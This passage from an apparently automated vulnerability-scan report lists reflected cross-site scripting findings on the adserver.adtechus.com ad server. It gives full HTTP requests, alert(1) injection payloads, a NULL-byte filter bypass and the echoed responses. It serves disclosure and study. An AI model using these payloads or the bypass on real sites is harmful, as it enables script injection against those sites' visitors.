document.write('<a href="http://adserver.adtechus.com/adlink/5214/1471994/0/2666/AdId=1075289;BnId=7;itime=368788775;nodecode=yes;link=%00b4fb7'-alert(1)-'cd72b17ab2fhttp://adserver.adtechus.com/?adlink/5294/1352164/0/2666/AdId=1396300;BnId=1;itime=368788775;key=key1+key2+key3+key4;" target=_blank>
...[SNIP]...

1.25. http://adserver.adtechus.com/addyn/3.0/5294.1/1352164/0/2666/ADTECH [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adserver.adtechus.com
Path:   /addyn/3.0/5294.1/1352164/0/2666/ADTECH

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload %00f032a'-alert(1)-'99bbb29dce5 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as f032a'-alert(1)-'99bbb29dce5 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Request

GET /addyn/3.0/5294.1/1352164/0/2666/ADTECH;loc=100;target=_blank;key=key1+key2+key3+key4;grp=373;misc=1299368822561;aduho=-360;rdclick=http://adserver.adtechus.com/adlink/5214/1471994/0/2666/AdId=1075289;BnId=7;itime=368788775;nodecode=yes;link=&%00f032a'-alert(1)-'99bbb29dce5=1 HTTP/1.1
Host: adserver.adtechus.com
Proxy-Connection: keep-alive
Referer: http://www.thestar.com/news/world/pirates/article/947793--dutch-couple-rescued-after-pirates-hijack-yacht
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JEB2=4D5AE97A6E651A440C6EAF39F000F262; en_autos=yes

Response

HTTP/1.0 200 OK
Connection: close
Server: Adtech Adserver
Cache-Control: no-cache
Content-Type: application/x-javascript
Content-Length: 447

document.write('<a href="http://adserver.adtechus.com/adlink/5214/1471994/0/2666/AdId=1075289;BnId=7;itime=368788775;nodecode=yes;link=&%00f032a'-alert(1)-'99bbb29dce5=1http://adserver.adtechus.com/?adlink/5294/1352164/0/2666/AdId=1396300;BnId=1;itime=368788775;key=key1+key2+key3+key4;" target=_blank>
...[SNIP]...

1.26. http://adserver.adtechus.com/addyn/3.0/5294.1/1352180/0/170/ADTECH [loc parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adserver.adtechus.com
Path:   /addyn/3.0/5294.1/1352180/0/170/ADTECH

Issue detail

The value of the loc request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload de4f6'-alert(1)-'de91f8812ab was submitted in the loc parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /addyn/3.0/5294.1/1352180/0/170/ADTECH;loc=100;target=_blank;key=key1+key2+key3+key4;grp=735;misc=1299377693964;aduho=-360;rdclick=de4f6'-alert(1)-'de91f8812ab HTTP/1.1
Host: adserver.adtechus.com
Proxy-Connection: keep-alive
Referer: http://www.thestar.com/living
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JEB2=4D5AE97A6E651A440C6EAF39F000F262; en_autos=yes

Response

HTTP/1.0 200 OK
Connection: close
Server: Adtech Adserver
Cache-Control: no-cache
Content-Type: application/x-javascript
Content-Length: 19360

__ADTECH_CODE__ = "";
__theDocument = document;
__theWindow = window;
__bCodeFlushed = false;

function __flushCode() {
   if (!__bCodeFlushed) {
       var span = parent.document.createElement("SPAN"
...[SNIP]...
"")
{    AT_COUNT=''
if ('1352180'!='_ADFC'+'_CUID_') AT_COUNT=escape('http://adserver.adtechus.com/adlink/5294/1352180/0/170/AdId=1267819;BnId=1;itime=377659094;key=key1+key2+key3+key4;nodecode=yes;link=de4f6'-alert(1)-'de91f8812ab')
AT_VARSTRING="?cli"+"ckTAG=javascript:void(win"+"dow.open('"+AT_COUNT+AT_CLICK+"','','"+AT_MICROSITE1352180+"'))";
AT_TARGET1352180="_self";
}
window.AT_ClickFn1352180= function (click)
{    click=(isN
...[SNIP]...

1.27. http://adserver.adtechus.com/addyn/3.0/5294.1/1352180/0/170/ADTECH [loc parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adserver.adtechus.com
Path:   /addyn/3.0/5294.1/1352180/0/170/ADTECH

Issue detail

The value of the loc request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c723e"-alert(1)-"101c4b84de8 was submitted in the loc parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /addyn/3.0/5294.1/1352180/0/170/ADTECH;loc=100;target=_blank;key=key1+key2+key3+key4;grp=735;misc=1299377693964;aduho=-360;rdclick=c723e"-alert(1)-"101c4b84de8 HTTP/1.1
Host: adserver.adtechus.com
Proxy-Connection: keep-alive
Referer: http://www.thestar.com/living
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JEB2=4D5AE97A6E651A440C6EAF39F000F262; en_autos=yes

Response

HTTP/1.0 200 OK
Connection: close
Server: Adtech Adserver
Cache-Control: no-cache
Content-Type: application/x-javascript
Content-Length: 19360

__ADTECH_CODE__ = "";
__theDocument = document;
__theWindow = window;
__bCodeFlushed = false;

function __flushCode() {
   if (!__bCodeFlushed) {
       var span = parent.document.createElement("SPAN"
...[SNIP]...
]:"clickTAG";
var AT_MULTICLICKSTR="?"+AT_CLICKVAR[0]+"=" + escape("http://adserver.adtechus.com/adlink/5294/1352180/0/170/AdId=1267819;BnId=1;itime=377659014;key=key1+key2+key3+key4;nodecode=yes;link=c723e"-alert(1)-"101c4b84de8") + escape(AT_CLICK);
var AT_FLASHVARSSTR= "";
// if use microsite, dont add the first parameter
if (AT_MICROSITE=="") AT_FLASHVARSSTR = AT_CLICKVAR[0]+"=" + escape("http://adserver.adtechus.com/adlin
...[SNIP]...

1.28. http://adserver.adtechus.com/addyn/3.0/5294.1/1352180/0/170/ADTECH [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adserver.adtechus.com
Path:   /addyn/3.0/5294.1/1352180/0/170/ADTECH

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b8d4c'-alert(1)-'6d876a2530a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /addyn/3.0/5294.1/1352180/0/170/ADTECH;loc=100;target=_blank;key=key1+key2+key3+key4;grp=735;misc=1299377693964;aduho=-360;rdclick=&b8d4c'-alert(1)-'6d876a2530a=1 HTTP/1.1
Host: adserver.adtechus.com
Proxy-Connection: keep-alive
Referer: http://www.thestar.com/living
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JEB2=4D5AE97A6E651A440C6EAF39F000F262; en_autos=yes

Response

HTTP/1.0 200 OK
Connection: close
Server: Adtech Adserver
Cache-Control: no-cache
Content-Type: application/x-javascript
Content-Length: 19390

__ADTECH_CODE__ = "";
__theDocument = document;
__theWindow = window;
__bCodeFlushed = false;

function __flushCode() {
   if (!__bCodeFlushed) {
       var span = parent.document.createElement("SPAN"
...[SNIP]...
")
{    AT_COUNT=''
if ('1352180'!='_ADFC'+'_CUID_') AT_COUNT=escape('http://adserver.adtechus.com/adlink/5294/1352180/0/170/AdId=1267819;BnId=1;itime=377659868;key=key1+key2+key3+key4;nodecode=yes;link=&b8d4c'-alert(1)-'6d876a2530a=1')
AT_VARSTRING="?cli"+"ckTAG=javascript:void(win"+"dow.open('"+AT_COUNT+AT_CLICK+"','','"+AT_MICROSITE1352180+"'))";
AT_TARGET1352180="_self";
}
window.AT_ClickFn1352180= function (click)
{    click=(i
...[SNIP]...

1.29. http://adserver.adtechus.com/addyn/3.0/5294.1/1352180/0/170/ADTECH [name of an arbitrarily supplied request parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://adserver.adtechus.com
Path:   /addyn/3.0/5294.1/1352180/0/170/ADTECH

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f28eb"-alert(1)-"1ddca95e721 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /addyn/3.0/5294.1/1352180/0/170/ADTECH;loc=100;target=_blank;key=key1+key2+key3+key4;grp=735;misc=1299377693964;aduho=-360;rdclick=&f28eb"-alert(1)-"1ddca95e721=1 HTTP/1.1
Host: adserver.adtechus.com
Proxy-Connection: keep-alive
Referer: http://www.thestar.com/living
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JEB2=4D5AE97A6E651A440C6EAF39F000F262; en_autos=yes

Response

HTTP/1.0 200 OK
Connection: close
Server: Adtech Adserver
Cache-Control: no-cache
Content-Type: application/x-javascript
Content-Length: 19317

__ADTECH_CODE__ = "";
__theDocument = document;
__theWindow = window;
__bCodeFlushed = false;

function __flushCode() {
   if (!__bCodeFlushed) {
       var span = parent.document.createElement("SPAN"
...[SNIP]...
:"clickTAG";
var AT_MULTICLICKSTR="?"+AT_CLICKVAR[0]+"=" + escape("http://adserver.adtechus.com/adlink/5294/1352180/0/170/AdId=1508864;BnId=2;itime=377659796;key=key1+key2+key3+key4;nodecode=yes;link=&f28eb"-alert(1)-"1ddca95e721=1") + escape(AT_CLICK);
var AT_FLASHVARSSTR= "";
// if use microsite, dont add the first parameter
if (AT_MICROSITE=="") AT_FLASHVARSSTR = AT_CLICKVAR[0]+"=" + escape("http://adserver.adtechus.com/adl
...[SNIP]...

Report generated by XSS.CX Research Blog at Sat Mar 05 20:38:18 CST 2011.